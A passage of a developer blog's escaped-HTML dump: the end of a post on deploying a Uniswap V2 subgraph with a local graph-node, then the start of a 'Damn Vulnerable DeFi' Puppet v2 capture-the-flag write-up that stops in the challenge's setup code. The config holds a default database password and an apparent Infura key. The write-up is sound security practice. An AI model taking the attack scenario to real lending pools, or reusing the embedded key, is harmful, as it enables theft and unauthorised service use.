class=\"token punctuation\">:</span>host<span class=\"token punctuation\">-</span>gateway\n    <span class=\"token key atrule\">environment</span><span class=\"token punctuation\">:</span>\n      <span class=\"token key atrule\">postgres_host</span><span class=\"token punctuation\">:</span> postgres\n      <span class=\"token key atrule\">postgres_user</span><span class=\"token punctuation\">:</span> graph<span class=\"token punctuation\">-</span>node\n      <span class=\"token key atrule\">postgres_pass</span><span class=\"token punctuation\">:</span> let<span class=\"token punctuation\">-</span>me<span class=\"token punctuation\">-</span>in\n      <span class=\"token key atrule\">postgres_db</span><span class=\"token punctuation\">:</span> graph<span class=\"token punctuation\">-</span>node\n      <span class=\"token key atrule\">ipfs</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'https://ipfs.io'</span>\n      <span class=\"token key atrule\">ethereum</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'rinkeby:https://rinkeby.infura.io/v3/8c6f778de9a94b6e9ebc0481745ad286'</span>\n      <span class=\"token key atrule\">GRAPH_LOG</span><span class=\"token punctuation\">:</span> info\n      <span class=\"token key atrule\">GRAPH_ALLOW_NON_DETERMINISTIC_FULLTEXT_SEARCH</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'true'</span>\n      <span class=\"token key atrule\">GRAPH_ALLOW_NON_DETERMINISTIC_IPFS</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'true'</span>\n  <span class=\"token key atrule\">postgres</span><span class=\"token punctuation\">:</span>\n    <span class=\"token key atrule\">image</span><span class=\"token punctuation\">:</span> postgres\n    <span class=\"token key atrule\">ports</span><span class=\"token punctuation\">:</span>\n      <span class=\"token punctuation\">-</span> <span class=\"token string\">'5432:5432'</span>\n    <span class=\"token key atrule\">command</span><span class=\"token punctuation\">:</span>\n      <span class=\"token punctuation\">[</span>\n        <span class=\"token string\">\"postgres\"</span><span class=\"token punctuation\">,</span>\n        <span class=\"token string\">\"-cshared_preload_libraries=pg_stat_statements\"</span>\n      <span class=\"token punctuation\">]</span>\n    <span class=\"token key atrule\">environment</span><span class=\"token punctuation\">:</span>\n      <span class=\"token key atrule\">POSTGRES_USER</span><span class=\"token punctuation\">:</span> graph<span class=\"token punctuation\">-</span>node\n      <span class=\"token key atrule\">POSTGRES_PASSWORD</span><span class=\"token punctuation\">:</span> let<span class=\"token punctuation\">-</span>me<span class=\"token punctuation\">-</span>in\n      <span class=\"token key atrule\">POSTGRES_DB</span><span class=\"token punctuation\">:</span> graph<span class=\"token punctuation\">-</span>node\n      <span class=\"token key atrule\">PGDATA</span><span class=\"token punctuation\">:</span> <span class=\"token string\">\"/data/postgres\"</span>\n    <span class=\"token key atrule\">volumes</span><span class=\"token punctuation\">:</span>\n      <span class=\"token punctuation\">-</span> ./data/postgres<span class=\"token punctuation\">:</span>/var/lib/postgresql/data</code></pre></div>\n<h3 id=\"subgraph-studio-deploy\" style=\"position:relative;\"><a href=\"#subgraph-studio-deploy\" aria-label=\"subgraph studio deploy permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Subgraph Studio Deploy</h3>\n<ul>\n<li>After completing the build, proceed with deployment. This is the currently defined <code class=\"language-text\">package.json</code>, and I use the <code class=\"language-text\">deploy-local</code> command because I plan to run my own <code class=\"language-text\">graph-node</code> locally to work.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"json\"><pre class=\"language-json\"><code class=\"language-json\"><span class=\"token punctuation\">{</span>\n  <span class=\"token property\">\"name\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"Uniswap\"</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">\"license\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"UNLICENSED\"</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">\"scripts\"</span><span class=\"token operator\">:</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">\"codegen\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph codegen\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"build\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph build\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"deploy\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph deploy --node https://api.studio.thegraph.com/deploy/ Uniswap\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"create-local\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph create --node http://localhost:8020/ Uniswap\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"remove-local\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph remove --node http://localhost:8020/ Uniswap\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"deploy-local\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph deploy --node http://localhost:8020/ --ipfs http://localhost:5001 Uniswap\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"test\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"graph test\"</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">\"dependencies\"</span><span class=\"token operator\">:</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">\"@graphprotocol/graph-cli\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"0.33.0\"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token property\">\"@graphprotocol/graph-ts\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"0.27.0\"</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">\"devDependencies\"</span><span class=\"token operator\">:</span> <span class=\"token punctuation\">{</span> <span class=\"token property\">\"matchstick-as\"</span><span class=\"token operator\">:</span> <span class=\"token string\">\"0.5.0\"</span> <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>When initializing is performed, the following command sequence shows the next call sequence. If you modify the code, you do not need to call <code class=\"language-text\">graph create</code> and proceed in order.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"json\"><pre class=\"language-json\"><code class=\"language-json\">> graph codegen\n> graph build\n> graph create --node http<span class=\"token operator\">:</span><span class=\"token comment\">//localhost:8020/ Uniswap</span>\n> graph deploy --node http<span class=\"token operator\">:</span><span class=\"token comment\">//localhost:8020/ --ipfs http://localhost:5001 Uniswap</span></code></pre></div>\n<ul>\n<li>When it is finally completed, it is possible to collect data by sending a sequence from the node and querying the events that occur in the transaction.</li>\n<li><a href=\"https://thegraph.com/studio/\">https://thegraph.com/studio/</a>\n<ul>\n<li>\n<p>Create subgraph</p>\n<p><a href=\"https://thegraph.com/studio/subgraph/nftmarket/\">Subgraph Studio</a></p>\n</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"uniswap-contract-code\" style=\"position:relative;\"><a href=\"#uniswap-contract-code\" aria-label=\"uniswap contract code permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Uniswap Contract Code</h3>\n<ul>\n<li>Github RP:  <a href=\"https://github.com/dnsdudrla97/unswap-contract\">https://github.com/dnsdudrla97/unswap-contract</a></li>\n<li>Github Graph: <a href=\"https://github.com/dnsdudrla97/unswap-contract-subgraph\">https://github.com/dnsdudrla97/unswap-contract-subgraph</a></li>\n</ul>\n<div class=\"table-of-contents\">\n<ul>\n<li>\n<p><a href=\"#subgraph\">SubGraph</a></p>\n</li>\n<li>\n<p><a href=\"#bored-ape-yacht-club\">Bored Ape Yacht Club</a></p>\n<ul>\n<li><a href=\"#how-graphs-work\">How Graphs Work</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#graph-cli-install\">Graph CLI install</a></p>\n</li>\n<li>\n<p><a href=\"#subgraph-init\">subgraph init</a></p>\n</li>\n<li>\n<p><a href=\"#subgraph-writer\">subgraph writer</a></p>\n<ul>\n<li><a href=\"#contract-event-data-query-matching-operation\">Contract Event data query matching operation</a></li>\n<li><a href=\"#graphql-schema-handling-work-in-progress\">GraphQL schema handling work in progress</a></li>\n<li><a href=\"#graph-build-task\">Graph build task</a></li>\n<li><a href=\"#graph-node-setup\">Graph-Node Setup</a></li>\n<li><a href=\"#subgraph-studio-deploy\">Subgraph Studio Deploy</a></li>\n<li><a href=\"#uniswap-contract-code\">Uniswap Contract Code</a></li>\n</ul>\n</li>\n</ul>\n</div>","frontmatter":{"date":"August 04, 2022","title":"UniswapV2 Smart Contract Subgraph event query","categories":"Blockchain","author":"Zer0Luck","emoji":"🦄"},"fields":{"slug":"/uniswap-contract-event-graph/"}},"prev":{"id":"1cfd2cf1-ff79-586e-bf57-243519bd4f6e","html":"<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.111111111111114%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACsUlEQVQoz2WSXUhTYRjHX9t00zY3N4/b2c7OvqfHqdv8anPOj6Wh0yxNzDSLgog+iW6ki+oq6sIgIiqokIpMIgiCgroQiujjpiDowq67iui2q/jFOSUZXfz5v/Dy/Hie//OI8XwHzcEkpoogG/6orFzFaovj8WWokzPIShu1nhROdxJXXYvxrvWmcUlNpLon2X3mOsNHzqEOH0KYrWHKK3VF/lFFVRR7jYbdqRnQYCRHOJ43FIp1Ea0vEEl0o6UGGdx5nOLeeXr3zCOEOYAwBxEm3RXEBgVh0t2PKPMjhM/outIWp6o6gc3RgMPViLO2CYc7ic2p4VHaqPa1s2VwCuGN96DlJgnHikiBTiLpEZRQHrWhH1+wC7/ajuRNU+fL4Fc7qJGa0ZswW0KUmVWEkDFVhBDCS0tTL6J1YJY9h84ytv0oHX3TjMycYHT8MGOzJ9k6cZih0hzdvRPke8Ypbd1LONZlZCxELenWEpfPX8FiixrAQv8kwlvfR2dxhobmEkGtSCI7gRrpo6lzGy2tQ1TXaL9j0KPRoxAy0UiOpXMXWbq2wuf3P+krHEAIN+m2IYQrWsCbGkZJDCCp3bgbRvAGeogkh4hp/chKBn1xuvRF6WA12svjO895svSRB/e+cvLoIjZHo5G1yGR3kCvupz65DYecxVVfwhPowZPcQihRxOnWsGyMYrKEDKjuVY4kzZv2MbXrAscOXmVq+ylcUgqTJYhYWXzKm/uvuXr6Lp25abzJEnX+PDW+LJLcjtUW+w9Ybo1gd2i43Sk80iZ8UhFf9RhRx37Et5ef+PHuC99ffOHS/A38SvZ34Z8j1wHrYWvj639We5y4PM1m5SYToRVG/U8RywuLvLr9jA/Lb3m48Ih4uIAoDxjHvVa8HvbXw1Ta47TIx5lVV5kLrdIv3+IX57pbfM9vjVMAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"Puppet-contract\"\n        title=\"Puppet-contract\"\n        src=\"/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/37523/c9.png\"\n        srcset=\"/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/e9ff0/c9.png 180w,\n/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/f21e7/c9.png 360w,\n/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/37523/c9.png 720w,\n/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/302a4/c9.png 1080w,\n/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/07a9c/c9.png 1440w,\n/static/6a1cb310ab8ee3e29ff5b99f393b4cbc/29114/c9.png 1920w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Wargame Provider: <a href=\"https://twitter.com/tinchoabbate\">@tinchoabbate</a></p>\n<h1 id=\"challenge-9---puppet-v2\" style=\"position:relative;\"><a href=\"#challenge-9---puppet-v2\" aria-label=\"challenge 9   puppet v2 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Challenge #9 - Puppet v2</h1>\n<p>The developers of the <a href=\"https://www.damnvulnerabledefi.xyz/challenges/8.html\">last lending pool</a> are saying that they’ve learned the lesson. And just released a new version!</p>\n<p>Now they’re using a <a href=\"https://docs.uniswap.org/protocol/V2/introduction\">Uniswap v2 exchange</a> as a price oracle, along with the recommended utility libraries. That should be enough.</p>\n<p>You start with 20 ETH and 10000 DVT tokens in balance. The new\nlending pool has a million DVT tokens in balance. You know what to do\n;)</p>\n<ul>\n<li><a href=\"https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/puppet-v2\">See the contracts</a></li>\n<li><a href=\"https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/puppet-v2/puppet-v2.challenge.js\">Complete the challenge</a></li>\n</ul>\n<h1 id=\"code-audit\" style=\"position:relative;\"><a href=\"#code-audit\" aria-label=\"code audit permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Code Audit</h1>\n<h2 id=\"transaction-flow\" style=\"position:relative;\"><a href=\"#transaction-flow\" aria-label=\"transaction flow permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Transaction Flow</h2>\n<h3 id=\"dependency-pattern\" style=\"position:relative;\"><a href=\"#dependency-pattern\" aria-label=\"dependency pattern permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Dependency Pattern</h3>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\">UniswapV2Pair\nUniswapV2Factory\nUniswapV2Router02</code></pre></div>\n<ul>\n<li>Based on Uniswap protocol v2, the CAMM model liquidity pool exchange method is used.</li>\n<li><code class=\"language-text\">UniswapV2Pair</code>, acts as an AMM and tracks the pool token balance. Proceed to set up Oracle Price Data Feed</li>\n<li><code class=\"language-text\">UniswapV2Factory</code>, which holds the generic bytecode that powers the factory pair, whose main task is to create only one smart contract per unique token pair.</li>\n<li><code class=\"language-text\">UniswapV2Router</code>, a router using the library fully supports all the basic requirements of the front-end to provide trading and liquidity management functions, especially multi-pair trades (e.g. x to y to z) by default and Treats ETH as a first-class citizen and provides meta-transactions for liquidity removal.</li>\n</ul>\n<h3 id=\"setup-flow\" style=\"position:relative;\"><a href=\"#setup-flow\" aria-label=\"setup flow permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Setup flow</h3>\n<p><strong>Summary</strong></p>\n<ul>\n<li>Give 20 ether to the attacker’s account</li>\n<li>DVT, WETH token contract deployment</li>\n<li>UniswapRouter Contract Deploy, 100 DVT, 10 WETH Create flexible DVT-WETH pair</li>\n<li>PuppetV2Pool Deploy, 1,000,000 DVT</li>\n<li>10,000 DVT to attacker account</li>\n</ul>\n<p><strong>State Variable (ERC20, ETH Balance Setup)</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">let</span> deployer<span class=\"token punctuation\">,</span> attacker<span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// Uniswap v2 exchange will start with 100 tokens and 10 WETH in liquidity</span>\n<span class=\"token keyword\">const</span> <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span> <span class=\"token operator\">=</span> ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'100'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">const</span> <span class=\"token constant\">UNISWAP_INITIAL_WETH_RESERVE</span> <span class=\"token operator\">=</span> ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'10'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">const</span> <span class=\"token constant\">ATTACKER_INITIAL_TOKEN_BALANCE</span> <span class=\"token operator\">=</span> ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'10000'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">const</span> <span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span> <span class=\"token operator\">=</span> ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'1000000'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">before</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */</span>  \n  <span class=\"token punctuation\">[</span>deployer<span class=\"token punctuation\">,</span> attacker<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span><span class=\"token function\">getSigners</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">send</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"hardhat_setBalance\"</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">[</span>\n      attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n      <span class=\"token string\">\"0x1158e460913d00000\"</span><span class=\"token punctuation\">,</span> <span class=\"token comment\">// 20 ETH</span>\n  <span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">expect</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span><span class=\"token function\">eq</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'20'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Deployer, attacker address assignment in progress.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">&lt;Init: Uniswap>\nUniswap Token Reserve = 100 ether\nUniswap WETH Reserve = 10 ether\n\n&lt;Init: Attacker Account>\nAttacker Account Token Balance = 10000 ether\n\n&lt;Init: Lending Pool>\nLending Pool Token Balance = 1000000 ether</code></pre></div>\n<ul>\n<li>Proceed with 20 ether allocation on the hardhat chain for the attacker account and declare the ether value for each contract and account.</li>\n</ul>\n<p><strong>Contract or Account Deploy (deployer, attacker)</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">&lt;deployer account>\n\n- UniswapV2Factory\n- UniswapV2Router\n- UniswapV2Pair\n- DamnValuableToken\n- WETH9</code></pre></div>\n<ul>\n<li>Deploying the 5 contracts for the deployer account and allocating the initial instance.</li>\n</ul>\n<p><strong>Deploy Uniswap Factory and Router</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapFactoryFactory<span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>constants<span class=\"token punctuation\">.</span>AddressZero<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapRouter <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapRouterFactory<span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span>address\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>When distributing the <code class=\"language-text\">uniswapV2Factory</code> contract, the <code class=\"language-text\">feeToSetter</code> value of the initial constructor is set to <code class=\"language-text\">address(0)</code> and is used for access control within the contract.</li>\n<li>Based on the <code class=\"language-text\">uniswapV2Router</code> contract, addresses of <code class=\"language-text\">uniswapFactory</code> and <code class=\"language-text\">weth</code> contracts are used for router operation and registration by function.</li>\n</ul>\n<p><strong>Create UniswapPair against WETH and add liquidity</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">approve</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapRouter<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapRouter<span class=\"token punctuation\">.</span><span class=\"token function\">addLiquidityETH</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span><span class=\"token punctuation\">,</span>                              <span class=\"token comment\">// amountTokenDesired</span>\n    <span class=\"token number\">0</span><span class=\"token punctuation\">,</span>                                                          <span class=\"token comment\">// amountTokenMin</span>\n    <span class=\"token number\">0</span><span class=\"token punctuation\">,</span>                                                          <span class=\"token comment\">// amountETHMin</span>\n    deployer<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>                                           <span class=\"token comment\">// to</span>\n    <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBlock</span><span class=\"token punctuation\">(</span><span class=\"token string\">'latest'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>timestamp <span class=\"token operator\">*</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span>   <span class=\"token comment\">// deadline</span>\n    <span class=\"token punctuation\">{</span> value<span class=\"token operator\">:</span> <span class=\"token constant\">UNISWAP_INITIAL_WETH_RESERVE</span> <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapPairFactory<span class=\"token punctuation\">.</span><span class=\"token function\">attach</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory<span class=\"token punctuation\">.</span><span class=\"token function\">getPair</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">expect</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token 